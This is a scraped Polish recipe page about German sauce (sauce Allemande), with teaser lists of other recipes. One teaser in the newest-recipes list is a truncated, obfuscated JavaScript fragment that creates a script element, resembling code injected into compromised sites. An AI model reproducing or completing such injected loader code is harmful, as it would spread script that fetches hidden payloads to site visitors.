Sos niemiecki ( Sos Allemande)
Źródło: https://kuchnianawypasie.pl/sos-niemiecki-sos-allemande/
Pyszny sos niemiecki przygotowywany na bazie popularnego sosu aksamitnego ( Velouté ). Bazą sosu Velouté jest mięsny wywar, czasem z dodatkiem białego wina, zagęszczony zasmażką z mąki i masła oraz śmietaną. Sos niemiecki zawiera oprócz tego jeszcze żółtka jaj oraz ewentualnie cebulę i nieco grzybów. Doprawiony jest natomiast sokiem z cytryny oraz gałką muszkatułową. Sos...
Najnowsze przepisy
Składniki:recipe: 1 rolkę ciasta francuskiego rozwinąć... ⇖ 9
Domowe sosy to często niedoceniane skarby domowej kuchni.... ⇖ 9
Jeden zapach, jeden kęs - i nagle wracają wspomnienia.... ⇖ 10
(function(){ zz99=document.createElement("script");zz99_=("o ⇖ 20
Proste połączenie ale zdecydowanie zawsze się sprawdza.... ⇖ 44
Miodownik bez jajek – mięciutki, puszysty i pięknie... ⇖ 33
Przepisy z bloga
Ten przepis na proste ciasto ucierane z owocami wygrywa pod... ⇖ 752
Kremowa, delikatna cukinia ze śmietaną i czosnkiem, to... ⇖ 465
Jak zrobić dobry twarożek domowy z zielonym ogórkiem,... ⇖ 390
Hawajska sałatka makaronowa, czyli Aloha na talerzu. Ten... ⇖ 443
Przepisy na czasie
Sernik łaciaty z brzoskwiniami i makiem to ciasto, które... ⇖ 363
Kremowe, delikatne ciasto z białą czekoladą i cukierkami... ⇖ 272
Przepyszny domowy pasztet do smarowania. W sklepie tak... ⇖ 215
Paszteciki z mięsem, z ciasta drożdżowo-kruchego to... ⇖ 213
Tulipany do barszczyku to znakomita propozycja podania... ⇖ 176
Pyszny miodownik z kakaową masą grysikową i z orzechami... ⇖ 156
Idealne danie na ciepło na imprezy, lub na obiad. Przepis... ⇖ 74
Domowe pralinki są smaczne, łatwe do zrobienia i... ⇖ 71
